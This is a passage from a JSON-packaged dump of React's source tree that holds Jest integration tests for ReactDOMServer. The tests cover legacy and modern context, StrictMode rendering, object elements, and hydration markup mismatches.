</PurpleContext>,\n        2,\n      );\n      expect(e.textContent).toBe('');\n    });\n\n    itRenders('stateless child with wrong context', async render => {\n      if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {\n        return;\n      }\n      function FunctionChildWithWrongContext(props, context) {\n        // this should render blank; context.text isn't passed to this component.\n        return <div id=\"statelessWrongChild\">{context.text}</div>;\n      }\n      FunctionChildWithWrongContext.contextTypes = {\n        foo: PropTypes.string,\n      };\n\n      const e = await render(\n        <PurpleContext>\n          <FunctionChildWithWrongContext />\n        </PurpleContext>,\n        2,\n      );\n      expect(e.textContent).toBe('');\n    });\n\n    itRenders('with context passed through to a grandchild', async render => {\n      if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {\n        return;\n      }\n      function Grandchild(props, context) {\n        return <div>{context.text}</div>;\n      }\n      Grandchild.contextTypes = {text: PropTypes.string};\n\n      const Child = props => <Grandchild />;\n\n      const e = await render(\n        <PurpleContext>\n          <Child />\n        </PurpleContext>,\n        2,\n      );\n      expect(e.textContent).toBe('purple');\n    });\n\n    itRenders('a child context overriding a parent context', async render => {\n      if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {\n        return;\n      }\n      const Grandchild = (props, context) => {\n        return <div>{context.text}</div>;\n      };\n      Grandchild.contextTypes = {text: PropTypes.string};\n\n      const e = await render(\n        <PurpleContext>\n          <RedContext>\n            <Grandchild />\n          </RedContext>\n        </PurpleContext>,\n        2,\n      );\n      expect(e.textContent).toBe('red');\n    });\n\n    itRenders('a child context merged with a parent context', async render => {\n      if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {\n        return;\n      }\n      class Parent extends React.Component {\n        getChildContext() {\n          return {text1: 'purple'};\n        }\n        render() {\n          return <Child />;\n        }\n      }\n      Parent.childContextTypes = {text1: PropTypes.string};\n\n      class Child extends React.Component {\n        getChildContext() {\n          return {text2: 'red'};\n        }\n        render() {\n          return <Grandchild />;\n        }\n      }\n      Child.childContextTypes = {text2: PropTypes.string};\n\n      const Grandchild = (props, context) => {\n        return (\n          <div>\n            <div id=\"first\">{context.text1}</div>\n            <div id=\"second\">{context.text2}</div>\n          </div>\n        );\n      };\n      Grandchild.contextTypes = {\n        text1: PropTypes.string,\n        text2: PropTypes.string,\n      };\n\n      const e = await render(<Parent />, 3);\n      expect(e.querySelector('#first').textContent).toBe('purple');\n      expect(e.querySelector('#second').textContent).toBe('red');\n    });\n\n    itRenders(\n      'with a call to componentWillMount before getChildContext',\n      async render => {\n        if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {\n          return;\n        }\n        class WillMountContext extends React.Component {\n          getChildContext() {\n            return {text: this.state.text};\n          }\n          UNSAFE_componentWillMount() {\n            this.setState({text: 'foo'});\n          }\n          render() {\n            return <Child />;\n          }\n        }\n        WillMountContext.childContextTypes = {text: PropTypes.string};\n\n        const Child = (props, context) => {\n          return <div>{context.text}</div>;\n        };\n        Child.contextTypes = {text: PropTypes.string};\n\n        const e = await render(<WillMountContext />, 2);\n        expect(e.textContent).toBe('foo');\n      },\n    );\n\n    itRenders(\n      'if getChildContext exists but childContextTypes is missing with a warning',\n      async render => {\n        if (gate(flags => flags.disableLegacyContextForFunctionComponents)) {\n          return;\n        }\n        function HopefulChild(props, context) {\n          return context.foo || 'nope';\n        }\n        HopefulChild.contextTypes = {\n          foo: PropTypes.string,\n        };\n        class ForgetfulParent extends React.Component {\n          render() {\n            return <HopefulChild />;\n          }\n          getChildContext() {\n            return {foo: 'bar'};\n          }\n        }\n        const e = await render(\n          <ForgetfulParent />,\n          // Some warning is not de-duped and logged again on the client retry render.\n          render === clientRenderOnBadMarkup ? 3 : 2,\n        );\n        expect(e.textContent).toBe('nope');\n      },\n    );\n\n    itThrowsWhenRendering(\n      'if getChildContext returns a value not in childContextTypes',\n      render => {\n        class MyComponent extends React.Component {\n          render() {\n            return <div />;\n          }\n          getChildContext() {\n            return {value1: 'foo', value2: 'bar'};\n          }\n        }\n        MyComponent.childContextTypes = {value1: PropTypes.string};\n        return render(<MyComponent />);\n      },\n      'MyComponent.getChildContext(): key \"value2\" is not defined in childContextTypes.',\n    );\n\n    it('warns when childContextTypes is not defined', () => {\n      class MyComponent extends React.Component {\n        render() {\n          return <div />;\n        }\n        getChildContext() {\n          return {value1: 'foo', value2: 'bar'};\n        }\n      }\n\n      ReactDOMServer.renderToString(<MyComponent />);\n      assertConsoleErrorDev([\n        'MyComponent.getChildContext(): childContextTypes must be defined in order to use getChildContext().\\n' +\n          '    in MyComponent (at **)',\n      ]);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationLegacyContextDisabled-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactFeatureFlags;\nlet ReactDOMServer;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n\n  ReactFeatureFlags = require('shared/ReactFeatureFlags');\n  ReactFeatureFlags.disableLegacyContext = true;\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itRenders} = ReactDOMServerIntegrationUtils(initModules);\n\nfunction formatValue(val) {\n  if (val === null) {\n    return 'null';\n  }\n  if (val === undefined) {\n    return 'undefined';\n  }\n  if (typeof val === 'string') {\n    return val;\n  }\n  return JSON.stringify(val);\n}\n\ndescribe('ReactDOMServerIntegrationLegacyContextDisabled', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  itRenders('undefined legacy context with warning', async render => {\n    class LegacyProvider extends React.Component {\n      static childContextTypes = {\n        foo() {},\n      };\n      getChildContext() {\n        return {foo: 10};\n      }\n      render() {\n        return this.props.children;\n      }\n    }\n\n    const lifecycleContextLog = [];\n    class LegacyClsConsumer extends React.Component {\n      static contextTypes = {\n        foo() {},\n      };\n      shouldComponentUpdate(nextProps, nextState, nextContext) {\n        lifecycleContextLog.push(nextContext);\n        return true;\n      }\n      UNSAFE_componentWillReceiveProps(nextProps, nextContext) {\n        lifecycleContextLog.push(nextContext);\n      }\n      UNSAFE_componentWillUpdate(nextProps, nextState, nextContext) {\n        lifecycleContextLog.push(nextContext);\n      }\n      render() {\n        return formatValue(this.context);\n      }\n    }\n\n    function LegacyFnConsumer(props, context) {\n      return formatValue(context);\n    }\n    LegacyFnConsumer.contextTypes = {foo() {}};\n\n    function RegularFn(props, context) {\n      return formatValue(context);\n    }\n\n    const e = await render(\n      <LegacyProvider>\n        <span>\n          <LegacyClsConsumer />\n          <LegacyFnConsumer />\n          <RegularFn />\n        </span>\n      </LegacyProvider>,\n      3,\n    );\n    expect(e.textContent).toBe('{}undefinedundefined');\n    expect(lifecycleContextLog).toEqual([]);\n  });\n\n  itRenders('modern context', async render => {\n    const Ctx = React.createContext();\n\n    class Provider extends React.Component {\n      render() {\n        return (\n          <Ctx.Provider value={this.props.value}>\n            {this.props.children}\n          </Ctx.Provider>\n        );\n      }\n    }\n\n    class RenderPropConsumer extends React.Component {\n      render() {\n        return <Ctx.Consumer>{value => formatValue(value)}</Ctx.Consumer>;\n      }\n    }\n\n    const lifecycleContextLog = [];\n    class ContextTypeConsumer extends React.Component {\n      static contextType = Ctx;\n      shouldComponentUpdate(nextProps, nextState, nextContext) {\n        lifecycleContextLog.push(nextContext);\n        return true;\n      }\n      UNSAFE_componentWillReceiveProps(nextProps, nextContext) {\n        lifecycleContextLog.push(nextContext);\n      }\n      UNSAFE_componentWillUpdate(nextProps, nextState, nextContext) {\n        lifecycleContextLog.push(nextContext);\n      }\n      render() {\n        return formatValue(this.context);\n      }\n    }\n\n    function FnConsumer() {\n      return formatValue(React.useContext(Ctx));\n    }\n\n    const e = await render(\n      <Provider value=\"a\">\n        <span>\n          <RenderPropConsumer />\n          <ContextTypeConsumer />\n          <FnConsumer />\n        </span>\n      </Provider>,\n    );\n    expect(e.textContent).toBe('aaa');\n    expect(lifecycleContextLog).toEqual([]);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationModes-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itRenders} = ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegration', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  describe('React.StrictMode', () => {\n    itRenders('a strict mode with one child', async render => {\n      const e = await render(\n        <React.StrictMode>\n          <div>text1</div>\n        </React.StrictMode>,\n      );\n      const parent = e.parentNode;\n      expect(parent.childNodes[0].tagName).toBe('DIV');\n    });\n\n    itRenders('a strict mode with several children', async render => {\n      const Header = props => {\n        return <p>header</p>;\n      };\n      const Footer = props => {\n        return (\n          <React.StrictMode>\n            <h2>footer</h2>\n            <h3>about</h3>\n          </React.StrictMode>\n        );\n      };\n      const e = await render(\n        <React.StrictMode>\n          <div>text1</div>\n          <span>text2</span>\n          <Header />\n          <Footer />\n        </React.StrictMode>,\n      );\n      const parent = e.parentNode;\n      expect(parent.childNodes[0].tagName).toBe('DIV');\n      expect(parent.childNodes[1].tagName).toBe('SPAN');\n      expect(parent.childNodes[2].tagName).toBe('P');\n      expect(parent.childNodes[3].tagName).toBe('H2');\n      expect(parent.childNodes[4].tagName).toBe('H3');\n    });\n\n    itRenders('a nested strict mode', async render => {\n      const e = await render(\n        <React.StrictMode>\n          <React.StrictMode>\n            <div>text1</div>\n          </React.StrictMode>\n          <span>text2</span>\n          <React.StrictMode>\n            <React.StrictMode>\n              <React.StrictMode>\n                {null}\n                <p />\n              </React.StrictMode>\n              {false}\n            </React.StrictMode>\n          </React.StrictMode>\n        </React.StrictMode>,\n      );\n      const parent = e.parentNode;\n      expect(parent.childNodes[0].tagName).toBe('DIV');\n      expect(parent.childNodes[1].tagName).toBe('SPAN');\n      expect(parent.childNodes[2].tagName).toBe('P');\n    });\n\n    itRenders('an empty strict mode', async render => {\n      expect(\n        (\n          await render(\n            <div>\n              <React.StrictMode />\n            </div>,\n          )\n        ).firstChild,\n      ).toBe(null);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationNewContext-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itRenders} = ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegration', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  describe('context', function () {\n    let Context, PurpleContextProvider, RedContextProvider, Consumer;\n    beforeEach(() => {\n      Context = React.createContext('none');\n\n      class Parent extends React.Component {\n        render() {\n          return (\n            <Context.Provider value={this.props.text}>\n              {this.props.children}\n            </Context.Provider>\n          );\n        }\n      }\n      Consumer = Context.Consumer;\n      PurpleContextProvider = props => (\n        <Parent text=\"purple\">{props.children}</Parent>\n      );\n      RedContextProvider = props => (\n        <Parent text=\"red\">{props.children}</Parent>\n      );\n    });\n\n    itRenders('class child with context', async render => {\n      class ClassChildWithContext extends React.Component {\n        render() {\n          return (\n            <div>\n              <Consumer>{text => text}</Consumer>\n            </div>\n          );\n        }\n      }\n\n      const e = await render(\n        <PurpleContextProvider>\n          <ClassChildWithContext />\n        </PurpleContextProvider>,\n      );\n      expect(e.textContent).toBe('purple');\n    });\n\n    itRenders('stateless child with context', async render => {\n      function FunctionChildWithContext(props) {\n        return <Consumer>{text => text}</Consumer>;\n      }\n\n      const e = await render(\n        <PurpleContextProvider>\n          <FunctionChildWithContext />\n        </PurpleContextProvider>,\n      );\n      expect(e.textContent).toBe('purple');\n    });\n\n    itRenders('class child with default context', async render => {\n      class ClassChildWithWrongContext extends React.Component {\n        render() {\n          return (\n            <div id=\"classWrongChild\">\n              <Consumer>{text => text}</Consumer>\n            </div>\n          );\n        }\n      }\n\n      const e = await render(<ClassChildWithWrongContext />);\n      expect(e.textContent).toBe('none');\n    });\n\n    itRenders('stateless child with wrong context', async render => {\n      function FunctionChildWithWrongContext(props) {\n        return (\n          <div id=\"statelessWrongChild\">\n            <Consumer>{text => text}</Consumer>\n          </div>\n        );\n      }\n\n      const e = await render(<FunctionChildWithWrongContext />);\n      expect(e.textContent).toBe('none');\n    });\n\n    itRenders('with context passed through to a grandchild', async render => {\n      function Grandchild(props) {\n        return (\n          <div>\n            <Consumer>{text => text}</Consumer>\n          </div>\n        );\n      }\n\n      const Child = props => <Grandchild />;\n\n      const e = await render(\n        <PurpleContextProvider>\n          <Child />\n        </PurpleContextProvider>,\n      );\n      expect(e.textContent).toBe('purple');\n    });\n\n    itRenders('a child context overriding a parent context', async render => {\n      const Grandchild = props => {\n        return (\n          <div>\n            <Consumer>{text => text}</Consumer>\n          </div>\n        );\n      };\n\n      const e = await render(\n        <PurpleContextProvider>\n          <RedContextProvider>\n            <Grandchild />\n          </RedContextProvider>\n        </PurpleContextProvider>,\n      );\n      expect(e.textContent).toBe('red');\n    });\n\n    itRenders('readContext() in different components', async render => {\n      function readContext(Ctx) {\n        const dispatcher =\n          React.__CLIENT_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE\n            .H;\n        return dispatcher.readContext(Ctx);\n      }\n\n      class Cls extends React.Component {\n        render() {\n          return readContext(Context);\n        }\n      }\n      function Fn() {\n        return readContext(Context);\n      }\n      const Memo = React.memo(() => {\n        return readContext(Context);\n      });\n      const FwdRef = React.forwardRef((props, ref) => {\n        return readContext(Context);\n      });\n\n      const e = await render(\n        <PurpleContextProvider>\n          <RedContextProvider>\n            <span>\n              <Fn />\n              <Cls />\n              <Memo />\n              <FwdRef />\n              <Consumer>{() => readContext(Context)}</Consumer>\n            </span>\n          </RedContextProvider>\n        </PurpleContextProvider>,\n      );\n      expect(e.textContent).toBe('redredredredred');\n    });\n\n    itRenders('multiple contexts', async render => {\n      const Theme = React.createContext('dark');\n      const Language = React.createContext('french');\n      class Parent extends React.Component {\n        render() {\n          return (\n            <Theme.Provider value=\"light\">\n              <Child />\n            </Theme.Provider>\n          );\n        }\n      }\n\n      function Child() {\n        return (\n          <Language.Provider value=\"english\">\n            <Grandchild />\n          </Language.Provider>\n        );\n      }\n\n      const Grandchild = props => {\n        return (\n          <div>\n            <Theme.Consumer>\n              {theme => <div id=\"theme\">{theme}</div>}\n            </Theme.Consumer>\n            <Language.Consumer>\n              {language => <div id=\"language\">{language}</div>}\n            </Language.Consumer>\n          </div>\n        );\n      };\n\n      const e = await render(<Parent />);\n      expect(e.querySelector('#theme').textContent).toBe('light');\n      expect(e.querySelector('#language').textContent).toBe('english');\n    });\n\n    itRenders('nested context unwinding', async render => {\n      const Theme = React.createContext('dark');\n      const Language = React.createContext('french');\n\n      const App = () => (\n        <div>\n          <Theme.Provider value=\"light\">\n            <Language.Provider value=\"english\">\n              <Theme.Provider value=\"dark\">\n                <Theme.Consumer>\n                  {theme => <div id=\"theme1\">{theme}</div>}\n                </Theme.Consumer>\n              </Theme.Provider>\n              <Theme.Consumer>\n                {theme => <div id=\"theme2\">{theme}</div>}\n              </Theme.Consumer>\n              <Language.Provider value=\"sanskrit\">\n                <Theme.Provider value=\"blue\">\n                  <Theme.Provider value=\"red\">\n                    <Language.Consumer>\n                      {() => (\n                        <Language.Provider value=\"chinese\">\n                          <Language.Provider value=\"hungarian\" />\n                          <Language.Consumer>\n                            {language => <div id=\"language1\">{language}</div>}\n                          </Language.Consumer>\n                        </Language.Provider>\n                      )}\n                    </Language.Consumer>\n                  </Theme.Provider>\n                  <Language.Consumer>\n                    {language => (\n                      <>\n                        <Theme.Consumer>\n                          {theme => <div id=\"theme3\">{theme}</div>}\n                        </Theme.Consumer>\n                        <div id=\"language2\">{language}</div>\n                      </>\n                    )}\n                  </Language.Consumer>\n                </Theme.Provider>\n              </Language.Provider>\n            </Language.Provider>\n          </Theme.Provider>\n          <Language.Consumer>\n            {language => <div id=\"language3\">{language}</div>}\n          </Language.Consumer>\n        </div>\n      );\n      const e = await render(<App />);\n      expect(e.querySelector('#theme1').textContent).toBe('dark');\n      expect(e.querySelector('#theme2').textContent).toBe('light');\n      expect(e.querySelector('#theme3').textContent).toBe('blue');\n      expect(e.querySelector('#language1').textContent).toBe('chinese');\n      expect(e.querySelector('#language2').textContent).toBe('sanskrit');\n      expect(e.querySelector('#language3').textContent).toBe('french');\n    });\n\n    itRenders('should treat Context as Context.Provider', async render => {\n      const Theme = React.createContext('dark');\n      const Language = React.createContext('french');\n\n      expect(Theme.Provider).toBe(Theme);\n\n      const App = () => (\n        <div>\n          <Theme value=\"light\">\n            <Language value=\"english\">\n              <Theme value=\"dark\">\n                <Theme.Consumer>\n                  {theme => <div id=\"theme1\">{theme}</div>}\n                </Theme.Consumer>\n              </Theme>\n            </Language>\n          </Theme>\n        </div>\n      );\n\n      const e = await render(<App />, 0);\n      expect(e.textContent).toBe('dark');\n    });\n\n    it('does not pollute sync renders after an error', () => {\n      const LoggedInUser = React.createContext('default');\n      const Crash = () => {\n        throw new Error('Boo!');\n      };\n      const AppWithUser = user => (\n        <LoggedInUser.Provider value={user}>\n          <LoggedInUser.Consumer>{whoAmI => whoAmI}</LoggedInUser.Consumer>\n          <Crash />\n        </LoggedInUser.Provider>\n      );\n\n      expect(() => {\n        ReactDOMServer.renderToString(AppWithUser('Casper'));\n      }).toThrow('Boo');\n\n      // Should not report a value from failed render\n      expect(\n        ReactDOMServer.renderToString(\n          <LoggedInUser.Consumer>{whoAmI => whoAmI}</LoggedInUser.Consumer>,\n        ),\n      ).toBe('default');\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationObject-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @jest-environment ./scripts/jest/ReactDOMServerIntegrationEnvironment\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\n\nfunction initModules() {\n  // Reset warning cache.\n  jest.resetModules();\n  React = require('react');\n  ReactDOMClient = require('react-dom/client');\n  ReactDOMServer = require('react-dom/server');\n\n  // Make them available to the helpers.\n  return {\n    ReactDOMClient,\n    ReactDOMServer,\n  };\n}\n\nconst {resetModules, itRenders} = ReactDOMServerIntegrationUtils(initModules);\n\ndescribe('ReactDOMServerIntegrationObject', () => {\n  beforeEach(() => {\n    resetModules();\n  });\n\n  itRenders('an object with children', async render => {\n    const e = await render(\n      <object type=\"video/mp4\" data=\"/example.webm\" width={600} height={400}>\n        <div>preview</div>\n      </object>,\n    );\n\n    expect(e.outerHTML).toBe(\n      '<object type=\"video/mp4\" data=\"/example.webm\" width=\"600\" height=\"400\"><div>preview</div></object>',\n    );\n  });\n\n  itRenders('an object with empty data', async render => {\n    const e = await render(<object data=\"\" />, 1);\n    expect(e.outerHTML).toBe('<object></object>');\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerIntegrationReconnecting-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nconst ReactDOMServerIntegrationUtils = require('./utils/ReactDOMServerIntegrationTestUtils');\n\nlet React;\nlet ReactDOMClient;\nlet ReactDOMServer;\n\ndescribe('ReactDOMServerIntegration', () => {\n  function initModules() {\n    // Reset warning cache.\n    jest.resetModules();\n\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    ReactDOMServer = require('react-dom/server');\n\n    // Make them available to the helpers.\n    return {\n      ReactDOMClient,\n      ReactDOMServer,\n    };\n  }\n\n  const {resetModules, expectMarkupMismatch, expectMarkupMatch} =\n    ReactDOMServerIntegrationUtils(initModules);\n  beforeEach(() => {\n    resetModules();\n  });\n\n  describe('reconnecting to server markup', function () {\n    let EmptyComponent;\n    beforeEach(() => {\n      EmptyComponent = class extends React.Component {\n        render() {\n          return null;\n        }\n      };\n    });\n\n    describe('elements', function () {\n      describe('reconnecting different component implementations', function () {\n        let ES6ClassComponent, PureComponent, bareElement;\n        beforeEach(() => {\n          // try each type of component on client and server.\n          ES6ClassComponent = class extends React.Component {\n            render() {\n              return <div id={this.props.id} />;\n            }\n          };\n          PureComponent = props => <div id={props.id} />;\n          bareElement = <div id=\"foobarbaz\" />;\n        });\n\n        it('should reconnect ES6 Class to ES6 Class', () =>\n          expectMarkupMatch(\n            <ES6ClassComponent id=\"foobarbaz\" />,\n            <ES6ClassComponent id=\"foobarbaz\" />,\n          ));\n\n        it('should reconnect Pure Component to ES6 Class', () =>\n          expectMarkupMatch(\n            <ES6ClassComponent id=\"foobarbaz\" />,\n            <PureComponent id=\"foobarbaz\" />,\n          ));\n\n        it('should reconnect Bare Element to ES6 Class', () =>\n          expectMarkupMatch(<ES6ClassComponent id=\"foobarbaz\" />, bareElement));\n\n        it('should reconnect ES6 Class to Pure Component', () =>\n          expectMarkupMatch(\n            <PureComponent id=\"foobarbaz\" />,\n            <ES6ClassComponent id=\"foobarbaz\" />,\n          ));\n\n        it('should reconnect Pure Component to Pure Component', () =>\n          expectMarkupMatch(\n            <PureComponent id=\"foobarbaz\" />,\n            <PureComponent id=\"foobarbaz\" />,\n          ));\n\n        it('should reconnect Bare Element to Pure Component', () =>\n          expectMarkupMatch(<PureComponent id=\"foobarbaz\" />, bareElement));\n\n        it('should reconnect ES6 Class to Bare Element', () =>\n          expectMarkupMatch(bareElement, <ES6ClassComponent id=\"foobarbaz\" />));\n\n        it('should reconnect Pure Component to Bare Element', () =>\n          expectMarkupMatch(bareElement, <PureComponent id=\"foobarbaz\" />));\n\n        it('should reconnect Bare Element to Bare Element', () =>\n          expectMarkupMatch(bareElement, bareElement));\n      });\n\n      it('should error reconnecting different element types', () =>\n        expectMarkupMismatch(<div />, <span />));\n\n      it('should error reconnecting fewer root children', () =>\n        expectMarkupMismatch(<span key=\"a\" />, [\n          <span key=\"a\" />,\n          <span key=\"b\" />,\n        ]));\n\n      it('should error reconnecting missing attributes', () =>\n        expectMarkupMismatch(<div id=\"foo\" />, <div />));\n\n      it('should error reconnecting added attributes', () =>\n        expectMarkupMismatch(<div />, <div id=\"foo\" />));\n\n      it('should error reconnecting different attribute values', () =>\n        expectMarkupMismatch(<div id=\"foo\" />, <div id=\"bar\" />));\n\n      it('should error reconnecting different element types of children', () =>\n        expectMarkupMismatch(\n          <div>\n            <div />\n          </div>,\n          <div suppressHydrationWarning={true}>\n            <span />\n          </div>,\n        ));\n\n      it('can explicitly ignore errors reconnecting missing attributes', () =>\n        expectMarkupMatch(\n          <div id=\"foo\" />,\n          <div suppressHydrationWarning={true} />,\n        ));\n\n      it('can explicitly ignore errors reconnecting added attributes', () =>\n        expectMarkupMatch(\n          <div />,\n          <div id=\"foo\" suppressHydrationWarning={true} />,\n        ));\n\n      it('can explicitly ignore errors reconnecting different attribute values', () =>\n        expectMarkupMatch(\n          <div id=\"foo\" />,\n          <div id=\"bar\" suppressHydrationWarning={true} />,\n        ));\n\n      it('can not deeply ignore errors reconnecting different attribute values', () =>\n        expectMarkupMismatch(\n          <div>\n            <div id=\"foo\" />\n          </div>,\n          <div suppressHydrationWarning={true}>\n            <div id=\"bar\" />\n          </div>,\n        ));\n    });\n\n    describe('inline styles', function () {\n      it('should error reconnecting missing style attribute', () =>\n        expectMarkupMismatch(<div style={{width: '1px'}} />, <div />));\n\n      it('should error reconnecting added style attribute', () =>\n        expectMarkupMismatch(<div />, <div style={{width: '1px'}} />));\n\n      it('should error reconnecting empty style attribute', () =>\n        expectMarkupMismatch(\n          <div style={{width: '1px'}} />,\n          <div style={{}} />,\n        ));\n\n      it('should error reconnecting added style values', () =>\n        expectMarkupMismatch(\n          <div style={{}} />,\n          <div style={{width: '1px'}} />,\n        ));\n\n      it('should error reconnecting different style values', () =>\n        expectMarkupMismatch(\n          <div style={{width: '1px'}} />,\n          <div style={{width: '2px'}} />,\n        ));\n\n      it('should reconnect number and string versions of a number', () =>\n        expectMarkupMatch(\n          <div style={{width: '1px', height: 2}} />,\n          <div style={{width: 1, height: '2px'}} />,\n        ));\n\n      it('should error reconnecting reordered style values', () =>\n        expectMarkupMismatch(\n          <div style={{width: '1px', fontSize: '2px'}} />,\n          <div style={{fontSize: '2px', width: '1px'}} />,\n        ));\n\n      it('can explicitly ignore errors reconnecting added style values', () =>\n        expectMarkupMatch(\n          <div style={{}} />,\n          <div style={{width: '1px'}} suppressHydrationWarning={true} />,\n        ));\n\n      it('can explicitly ignore reconnecting different style values', () =>\n        expectMarkupMatch(\n          <div style={{width: '1px'}} />,\n          <div style={{width: '2px'}} suppressHydrationWarning={true} />,\n        ));\n    });\n\n    describe('text nodes', function () {\n      it('should error reconnecting different text', () =>\n        expectMarkupMismatch(<div>Text</div>, <div>Other Text</div>));\n\n      it('should reconnect a div with a number and string version of number', () =>\n        expectMarkupMatch(<div>{2}</div>, <div>2</div>));\n\n      it('should error reconnecting different numbers', () =>\n        expectMarkupMismatch(<div>{2}</div>, <div>{3}</div>));\n\n      it('should error reconnecting different number from text', () =>\n        expectMarkupMismatch(<div>{2}</div>, <div>3</div>));\n\n      it('should error reconnecting different text in two code blocks', () =>\n        expectMarkupMismatch(\n          <div>\n            {'Text1'}\n            {'Text2'}\n          </div>,\n          <div>\n            {'Text1'}\n            {'Text3'}\n          </div>,\n        ));\n\n      it('can explicitly ignore reconnecting different text', () =>\n        expectMarkupMatch(\n          <div>Text</div>,\n          <div suppressHydrationWarning={true}>Other Text</div>,\n        ));\n\n      it('can explicitly ignore reconnecting different text in two code blocks', () =>\n        expectMarkupMatch(\n          <div suppressHydrationWarning={true}>\n            {'Text1'}\n            {'Text2'}\n          </div>,\n          <div suppressHydrationWarning={true}>\n            {'Text1'}\n            {'Text3'}\n          </div>,\n        ));\n    });\n\n    describe('element trees and children', function () {\n      it('should error reconnecting missing children', () =>\n        expectMarkupMismatch(\n          <div>\n            <div />\n          </div>,\n          <div />,\n        ));\n\n      it('should error reconnecting added children', () =>\n        expectMarkupMismatch(\n          <div />,\n          <div>\n            <div />\n          </div>,\n        ));\n\n      it('should error reconnecting more children', () =>\n        expectMarkupMismatch(\n          <div>\n            <div />\n          </div>,\n          <div>\n            <div />\n            <div />\n          </div>,\n        ));\n\n      it('should error reconnecting fewer children', () =>\n        expectMarkupMismatch(\n          <div>\n            <div />\n            <div />\n          </div>,\n          <div>\n            <div />\n          </div>,\n        ));\n\n      it('should error reconnecting reordered children', () =>\n        expectMarkupMismatch(\n          <div>\n            <div />\n            <span />\n          </div>,\n          <div>\n            <span />\n            <div />\n          </div>,\n        ));\n\n      it('should error reconnecting a div with children separated by whitespace on the client', () =>\n        expectMarkupMismatch(\n          <div id=\"parent\">\n            <div id=\"child1\" />\n            <div id=\"child2\" />\n          </div>,\n          // prettier-ignore\n          <div id=\"parent\"><div id=\"child1\" />      <div id=\"child2\" /></div>,\n        ));\n\n      it('should error reconnecting a div with children separated by different whitespace on the server', () =>\n        expectMarkupMismatch(\n          // prettier-ignore\n          <div id=\"parent\"><div id=\"child1\" />      <div id=\"child2\" /></div>,\n          <div id=\"parent\">\n            <div id=\"child1\" />\n            <div id=\"child2\" />\n          </div>,\n        ));\n\n      it('should error reconnecting a div with children separated by different whitespace', () =>\n        expectMarkupMismatch(\n          <div id=\"parent\">\n            <div id=\"child1\" /> <div id=\"child2\" />\n          </div>,\n          // prettier-ignore\n          <div id=\"parent\"><div id=\"child1\" />      <div id=\"child2\" /></div>,\n        ));\n\n      it('can distinguish an empty component from a dom node', () =>\n        expectMarkupMismatch(\n          <div>\n            <span />\n          </div>,\n          <div>\n            <EmptyComponent />\n          </div>,\n        ));\n\n      it('can distinguish an empty component from an empty text component', () =>\n        expectMarkupMatch(\n          <div>\n            <EmptyComponent />\n          </div>,\n          <div>{''}</div>,\n        ));\n\n      it('can not ignore reconnecting more children', () =>\n        expectMarkupMismatch(\n          <div>\n            <div 